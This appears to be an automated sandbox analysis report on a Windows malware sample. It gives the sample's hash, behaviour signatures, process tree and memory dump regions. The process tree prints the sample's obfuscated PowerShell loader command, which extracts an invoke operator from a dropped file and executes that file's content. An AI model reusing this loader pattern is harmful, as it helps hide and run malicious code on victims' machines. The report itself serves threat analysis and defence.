Analysis
- max time kernel
149s - max time network
149s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
01/08/2026, 10:17
General
- Target 8ac5c120f4a842dfd7905294bd98892f3ef5f63369bebc43a099ffbedfbadb05.exe
- Size 1.1MB
- Sample260801-mbvntssdrd
- SHA256 8ac5c120f4a842dfd7905294bd98892f3ef5f63369bebc43a099ffbedfbadb05
Malware Config
Signatures
- Badlisted process makes network request 9 IoCs
Network request originating from process or tool commonly abused by malware.
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Drops file in Windows directory 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 22 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\8ac5c120f4a842dfd7905294bd98892f3ef5f63369bebc43a099ffbedfbadb05.exe"C:\Users\Admin\AppData\Local\Temp\8ac5c120f4a842dfd7905294bd98892f3ef5f63369bebc43a099ffbedfbadb05.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Horrorises=GC -raw 'C:\Users\Admin\AppData\Roaming\guldsmedenes\Oversaetteren.esp';$toxophilitism=$Horrorises.SubString(51875,3);$Epicenes++; .$toxophilitism($Horrorises)"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Badlisted process makes network request
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
Liverwurst.Par
Oversaetteren.esp
memory/1804-50-0x0000000007580000-0x000000000758A000-memory.dmp
memory/1804-51-0x0000000072C60000-0x000000007341C000-memory.dmp
memory/1804-52-0x0000000007700000-0x0000000007711000-memory.dmp
memory/1804-31-0x0000000005AB0000-0x0000000005B16000-memory.dmp
memory/1804-30-0x0000000005A40000-0x0000000005AA6000-memory.dmp
memory/1804-29-0x0000000005310000-0x0000000005332000-memory.dmp
memory/1804-34-0x0000000005B20000-0x0000000005E7B000-memory.dmp
memory/1804-35-0x0000000005FD0000-0x0000000005FEE000-memory.dmp
memory/1804-36-0x0000000006010000-0x000000000605C000-memory.dmp
memory/1804-37-0x0000000007190000-0x0000000007226000-memory.dmp
memory/1804-38-0x00000000064F0000-0x000000000650A000-memory.dmp
memory/1804-39-0x0000000006540000-0x0000000006562000-memory.dmp
memory/1804-40-0x0000000007850000-0x0000000007E0A000-memory.dmp
memory/1804-27-0x00000000053F0000-0x0000000005A3A000-memory.dmp
memory/1804-42-0x0000000008490000-0x0000000008B0C000-memory.dmp
memory/1804-43-0x0000000007400000-0x0000000007436000-memory.dmp
memory/1804-44-0x000000006F720000-0x000000006F76C000-memory.dmp
memory/1804-48-0x0000000072C60000-0x000000007341C000-memory.dmp
memory/1804-47-0x00000000073E0000-0x0000000007400000-memory.dmp
memory/1804-49-0x0000000007450000-0x00000000074F3000-memory.dmp
memory/1804-26-0x0000000072C60000-0x000000007341C000-memory.dmp
memory/1804-24-0x0000000072C72000-0x0000000072C73000-memory.dmp
memory/1804-28-0x0000000072C60000-0x000000007341C000-memory.dmp
memory/1804-53-0x0000000072C72000-0x0000000072C73000-memory.dmp
memory/1804-54-0x0000000072C60000-0x000000007341C000-memory.dmp
memory/1804-55-0x0000000007720000-0x0000000007730000-memory.dmp
memory/1804-56-0x0000000007730000-0x0000000007745000-memory.dmp
memory/1804-57-0x0000000007790000-0x00000000077AC000-memory.dmp
memory/1804-58-0x0000000072C60000-0x000000007341C000-memory.dmp
memory/1804-59-0x0000000007780000-0x0000000007788000-memory.dmp
memory/1804-60-0x0000000007790000-0x00000000077BA000-memory.dmp
memory/1804-61-0x00000000077C0000-0x00000000077E4000-memory.dmp
memory/1804-62-0x0000000072C60000-0x000000007341C000-memory.dmp
memory/1804-63-0x0000000072C60000-0x000000007341C000-memory.dmp
memory/1804-64-0x0000000072C60000-0x000000007341C000-memory.dmp
memory/1804-66-0x0000000072C60000-0x000000007341C000-memory.dmp
memory/1804-25-0x0000000002CE0000-0x0000000002D16000-memory.dmp
memory/1804-68-0x0000000072C60000-0x000000007341C000-memory.dmp
memory/1804-70-0x0000000072C60000-0x000000007341C000-memory.dmp
memory/1804-69-0x0000000008B10000-0x000000000AA4F000-memory.dmp
memory/1804-71-0x0000000072C60000-0x000000007341C000-memory.dmp
memory/5580-72-0x0000000001000000-0x00000000022E6000-memory.dmp